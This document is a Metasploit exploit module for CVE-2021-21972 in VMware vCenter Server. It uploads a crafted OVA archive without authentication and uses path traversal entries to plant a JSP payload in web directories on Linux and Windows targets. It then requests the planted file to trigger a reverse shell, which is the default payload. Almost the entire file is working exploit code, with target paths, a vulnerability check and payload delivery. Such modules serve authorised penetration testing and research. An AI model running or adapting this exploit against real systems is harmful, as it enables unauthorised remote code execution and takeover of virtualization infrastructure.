##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  # "Shotgun" approach to writing JSP
  Rank = ManualRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::CheckModule
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware vCenter Server Unauthenticated OVA File Upload RCE',
        'Description' => %q{
          This module exploits an unauthenticated OVA file upload and path
          traversal in VMware vCenter Server to write a JSP payload to a
          web-accessible directory.

          Fixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c.
          Note that later vulnerable versions of the Linux appliance aren't
          exploitable via the webshell technique. Furthermore, writing an SSH
          public key to /home/vsphere-ui/.ssh/authorized_keys works, but the
          user's non-existent password expires 90 days after install, rendering
          the technique nearly useless against production environments.

          You'll have the best luck targeting older versions of the Linux
          appliance. The Windows target should work ubiquitously.
        },
        'Author' => [
          'Mikhail Klyuchnikov', # Discovery
          'wvu', # Analysis and exploit
          'mr_me', # Testing
          'Viss' # Testing
        ],
        'References' => [
          ['CVE', '2021-21972'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0002.html'],
          ['URL', 'https://swarm.ptsecurity.com/unauth-rce-vmware/'],
          ['URL', 'https://twitter.com/jas502n/status/1364810720261496843'],
          ['URL', 'https://twitter.com/_0xf4n9x_/status/1364905040876503045'],
          ['URL', 'https://twitter.com/HackingLZ/status/1364636303606886403'],
          ['URL', 'https://kb.vmware.com/s/article/2143838'],
          ['URL', 'https://nmap.org/nsedoc/scripts/vmware-version.html']
        ],
        'DisclosureDate' => '2021-02-23', # Vendor advisory
        'License' => MSF_LICENSE,
        'Platform' => ['linux', 'win'],
        'Arch' => ARCH_JAVA,
        'Privileged' => false, # true on Windows
        'Targets' => [
          [
            # TODO: /home/vsphere-ui/.ssh/authorized_keys
            'VMware vCenter Server <= 6.7 Update 1b (Linux)',
            {
              'Platform' => 'linux'
            }
          ],
          [
            'VMware vCenter Server <= 6.7 Update 3j (Windows)',
            {
              'Platform' => 'win'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'PAYLOAD' => 'java/jsp_shell_reverse_tcp',
          'CheckModule' => 'auxiliary/scanner/vmware/esx_fingerprint'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'RelatedModules' => ['auxiliary/scanner/vmware/esx_fingerprint']
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])

    register_advanced_options([
      # /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/<index>
      OptInt.new('SprayAndPrayMin', [true, 'Deployer index start', 40]), # mr_me
      OptInt.new('SprayAndPrayMax', [true, 'Deployer index stop', 41]) # wvu
    ])
  end

  def spray_and_pray_min
    datastore['SprayAndPrayMin']
  end

  def spray_and_pray_max
    datastore['SprayAndPrayMax']
  end

  def spray_and_pray_range
    (spray_and_pray_min..spray_and_pray_max).to_a
  end

  def check
    # Run auxiliary/scanner/vmware/esx_fingerprint
    super

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/getstatus')
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    case res.code
    when 200
      # {"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
      expected_keys = [
        'States',
        'Install Progress',
        'Install Final Progress',
        'Config Progress',
        'Config Final Progress'
      ]

      if (expected_keys & res.get_json_document.keys) == expected_keys
        return CheckCode::Vulnerable('Unauthenticated endpoint access granted.')
      end

      CheckCode::Detected('Target did not respond with expected keys.')
    when 401
      CheckCode::Safe('Unauthenticated endpoint access denied.')
    else
      CheckCode::Detected("Target responded with code #{res.code}.")
    end
  end

  def exploit
    upload_ova
    pop_thy_shell # ;)
  end

  def upload_ova
    print_status("Uploading OVA file: #{ova_filename}")

    multipart_form = Rex::MIME::Message.new
    multipart_form.add_part(
      generate_ova,
      'application/x-tar', # OVA is tar
      'binary',
      %(form-data; name="uploadFile"; filename="#{ova_filename}")
    )

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/uploadova'),
      'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
      'data' => multipart_form.to_s
    )

    unless res && res.code == 200 && res.body == 'SUCCESS'
      fail_with(Failure::NotVulnerable, 'Failed to upload OVA file')
    end

    register_files_for_cleanup(*jsp_paths)

    print_good('Successfully uploaded OVA file')
  end

  def pop_thy_shell
    jsp_uri =
      case target['Platform']
      when 'linux'
        normalize_uri(target_uri.path, "/ui/resources/#{jsp_filename}")
      when 'win'
        normalize_uri(target_uri.path, "/statsreport/#{jsp_filename}")
      end

    print_status("Requesting JSP payload: #{full_uri(jsp_uri)}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => jsp_uri
    )

    unless res && res.code == 200
      fail_with(Failure::PayloadFailed, 'Failed to request JSP payload')
    end

    print_good('Successfully requested JSP payload')
  end

  def generate_ova
    ova_file = StringIO.new

    # HACK: Spray JSP in the OVA and pray we get a shell...
    Rex::Tar::Writer.new(ova_file) do |tar|
      jsp_paths.each do |path|
        # /tmp/unicorn_ova_dir/../../<path>
        tar.add_file("../..#{path}", 0o644) { |jsp| jsp.write(payload.encoded) }
      end
    end

    ova_file.string
  end

  def jsp_paths
    case target['Platform']
    when 'linux'
      @jsp_paths ||= spray_and_pray_range.shuffle.map do |idx|
        "/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/#{idx}/0/h5ngc.war/resources/#{jsp_filename}"
      end
    when 'win'
      # Forward slashes work here
      ["/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/#{jsp_filename}"]
    end
  end

  def ova_filename
    @ova_filename ||= "#{rand_text_alphanumeric(8..42)}.ova"
  end

  def jsp_filename
    @jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"
  end

end
